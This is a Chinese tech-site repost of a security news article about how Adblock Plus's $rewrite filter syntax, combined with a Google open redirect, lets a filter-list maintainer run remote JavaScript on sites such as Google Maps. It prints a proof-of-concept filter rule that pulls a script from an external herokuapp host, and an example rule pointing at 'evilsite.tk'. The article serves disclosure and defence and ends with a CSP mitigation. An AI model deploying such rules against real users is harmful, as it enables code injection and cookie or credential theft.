Adblock Plus订阅列表机制存在漏洞,可用于运行恶意代码

本文主要是介绍Adblock Plus订阅列表机制存在漏洞,可用于运行恶意代码,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

国外安全专家Sebastian近日发现Adblock Plus、AdBlock和uBlocker浏览器扩展的广告拦截过滤器列表存在漏洞,攻击者可以利用该漏洞运行恶意代码,可窃取用户的cookie、登录凭据、进行页面重定向或其他恶意行为。受影响的扩展拥有超过1亿活跃用户,并且该功能可以轻松利用以攻击任何足够复杂的Web服务(如Google服务),而攻击很难检测并且可以在所有主流浏览器中实现。

Ad-Blocker

“$ rewrite”语法

一个广告屏蔽插件通常分为两个部分:插件本身和订阅列表。订阅列表包含对于各类恶意网址、广告或者插件的屏蔽信息,大多都支持正则表达式。而插件本身则在读取这些订阅列表后进行相应的操作,比如浏览器连接到列表中的网址或者阻止恶意广告和脚本。

举个例子,下方是热门的订阅过滤器EasyList的内容:

easylist

2018年,Adblock Plus 3.2发布时,添加了一个名为$ rewrite 新语法,允许列表维护者将与特定正则表达式匹配的Web请求替换为另一个URL。替换字符串必须是相对应的URL,不包含主机名,并且在重写时必须与原始请求位于同一域中。

举个例子,在订阅列表中添加以下过滤规则可将example.com/ad.gif的所有请求都替换为example.com/puppies.gif。因此,页面上的对应位置不会显示广告,而是更换为小狗照片。

||example.com/ad.gif$rewrite=/puppies.gif

由于重写的URL必须与原始URL位于同一源,并且必须是相对URL,因此以下$ rewrite 实例是无效的。

||example.com/ads.js$rewrite=https://evilsite.tk/bwahaha.js

在新增该语法之处,开发者考虑到了可能引发的安全隐患,所以当重写的对象为SCRIPTSUBDOCUMENTOBJECTOBJECT_SUBREQUEST时,该语法失效。

那么在这些限制的加持下,如何利用该语法运行恶意代码?

XMLHttpRequest和Fetch

当使用XMLHttpRequest或Fetch下载代码并执行时,可以利用此过滤器语法使用Web服务,同时允许请求任意来源并于服务器端开放重定向。这样的攻击难以检测,因为该扩展插件会定期更新过滤器列表,只要该列表的维护人员为恶意过滤器列表设置一个较短的过期时间,然后将其替换为没问题的过滤器列表。

要利用该漏洞需要满足以下条件:

  1. 页面必须使用XMLHttpRequest或Fetch加载JS字符串并执行返回的代码;

  2. 页面不能严格部署了CSP策略,或者在执行下载的代码之前不能验证最终请求URL;

  3. 获取代码的来源必须支持服务器端的重定向或者内容托管。

关键就是使用XMLHttpRequest或Fetch来下载脚本和打开重定向功能,使得攻击者能够从远程站点通过XMLHttpRequest读取脚本,而此时对于插件而言看起来仍是同一个来源。天空彩

比如访问量非常大的Google Maps站点就可以利用XMLHttpRequest加载脚本,因为它的搜索结果页面中包含一个开放重定向:

/^https://www.google.com/maps/_/js/k=.*/m=pw/.*/rs=.*/$rewrite=/search?hl=en-US&source=hp&biw=&bih=&q=majestic-ramsons.herokuapp.com&btnI=I%27m+Feeling+Lucky&gbv=1

根据上述规则,当用户访问www.google.com/maps/时,过滤规则将使用Google开放重定向来读取https://majestic-ramsons.herokuapp.com/的内容。

运行远程脚本

由于打开的重定向url位于同一个源或域中,允许读取字符串并将其作为JavaScript执行,导致警报:

远程脚本显示警报

风险与后续

虽然更改过滤器页表的方法有很多,这不是最严重的一个,但Sebastian担心别有用心的列表维护者会利用该漏洞发起难以检测的针对性攻击,比如2018年,一个不署名的列表维护者因为政治原因该写了某个订阅列表,导致大量声援抗议活动的工会网站在该广告屏蔽插件的作用下出现问题。

Sebastian向谷歌报告了该漏洞,但谷歌坚称开放重定向是他们一贯的立场:

Google已收到有关此漏洞的通知,但该报告已作为”预期行为“被关闭,因为他们认为潜在的安全问题仅存在于上述浏览器扩展中。

实际上该漏洞可以用于一系列供应链攻击,Sebastian建议网站使用CSP标头和connect-src选项来指定可以从中加载脚本的站点的白名单,以降低安全风险。

这篇关于Adblock Plus订阅列表机制存在漏洞,可用于运行恶意代码的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/779288

相关文章

JVM 的类初始化机制

前言 当你在 Java 程序中new对象时,有没有考虑过 JVM 是如何把静态的字节码(byte code)转化为运行时对象的呢,这个问题看似简单,但清楚的同学相信也不会太多,这篇文章首先介绍 JVM 类初始化的机制,然后给出几个易出错的实例来分析,帮助大家更好理解这个知识点。 JVM 将字节码转化为运行时对象分为三个阶段,分别是:loading 、Linking、initialization

如何用Docker运行Django项目

本章教程,介绍如何用Docker创建一个Django,并运行能够访问。 一、拉取镜像 这里我们使用python3.11版本的docker镜像 docker pull python:3.11 二、运行容器 这里我们将容器内部的8080端口,映射到宿主机的80端口上。 docker run -itd --name python311 -p

【C++ Primer Plus习题】13.4

大家好,这里是国中之林! ❥前些天发现了一个巨牛的人工智能学习网站,通俗易懂,风趣幽默,忍不住分享一下给大家。点击跳转到网站。有兴趣的可以点点进去看看← 问题: 解答: main.cpp #include <iostream>#include "port.h"int main() {Port p1;Port p2("Abc", "Bcc", 30);std::cout <<

Java ArrayList扩容机制 (源码解读)

结论:初始长度为10,若所需长度小于1.5倍原长度,则按照1.5倍扩容。若不够用则按照所需长度扩容。 一. 明确类内部重要变量含义         1:数组默认长度         2:这是一个共享的空数组实例,用于明确创建长度为0时的ArrayList ,比如通过 new ArrayList<>(0),ArrayList 内部的数组 elementData 会指向这个 EMPTY_EL

c++的初始化列表与const成员

初始化列表与const成员 const成员 使用const修饰的类、结构、联合的成员变量,在类对象创建完成前一定要初始化。 不能在构造函数中初始化const成员,因为执行构造函数时,类对象已经创建完成,只有类对象创建完成才能调用成员函数,构造函数虽然特殊但也是成员函数。 在定义const成员时进行初始化,该语法只有在C11语法标准下才支持。 初始化列表 在构造函数小括号后面,主要用于给

【编程底层思考】垃圾收集机制,GC算法,垃圾收集器类型概述

Java的垃圾收集(Garbage Collection,GC)机制是Java语言的一大特色,它负责自动管理内存的回收,释放不再使用的对象所占用的内存。以下是对Java垃圾收集机制的详细介绍: 一、垃圾收集机制概述: 对象存活判断:垃圾收集器定期检查堆内存中的对象,判断哪些对象是“垃圾”,即不再被任何引用链直接或间接引用的对象。内存回收:将判断为垃圾的对象占用的内存进行回收,以便重新使用。

跨系统环境下LabVIEW程序稳定运行

在LabVIEW开发中,不同电脑的配置和操作系统(如Win11与Win7)可能对程序的稳定运行产生影响。为了确保程序在不同平台上都能正常且稳定运行,需要从兼容性、驱动、以及性能优化等多个方面入手。本文将详细介绍如何在不同系统环境下,使LabVIEW开发的程序保持稳定运行的有效策略。 LabVIEW版本兼容性 LabVIEW各版本对不同操作系统的支持存在差异。因此,在开发程序时,尽量使用

【Tools】大模型中的自注意力机制

摇来摇去摇碎点点的金黄 伸手牵来一片梦的霞光 南方的小巷推开多情的门窗 年轻和我们歌唱 摇来摇去摇着温柔的阳光 轻轻托起一件梦的衣裳 古老的都市每天都改变模样                      🎵 方芳《摇太阳》 自注意力机制(Self-Attention)是一种在Transformer等大模型中经常使用的注意力机制。该机制通过对输入序列中的每个元素计算与其他元素之间的相似性,

如何通俗理解注意力机制?

1、注意力机制(Attention Mechanism)是机器学习和深度学习中一种模拟人类注意力的方法,用于提高模型在处理大量信息时的效率和效果。通俗地理解,它就像是在一堆信息中找到最重要的部分,把注意力集中在这些关键点上,从而更好地完成任务。以下是几个简单的比喻来帮助理解注意力机制: 2、寻找重点:想象一下,你在阅读一篇文章的时候,有些段落特别重要,你会特别注意这些段落,反复阅读,而对其他部分

easyui同时验证账户格式和ajax是否存在

accountName: {validator: function (value, param) {if (!/^[a-zA-Z][a-zA-Z0-9_]{3,15}$/i.test(value)) {$.fn.validatebox.defaults.rules.accountName.message = '账户名称不合法(字母开头,允许4-16字节,允许字母数字下划线)';return fal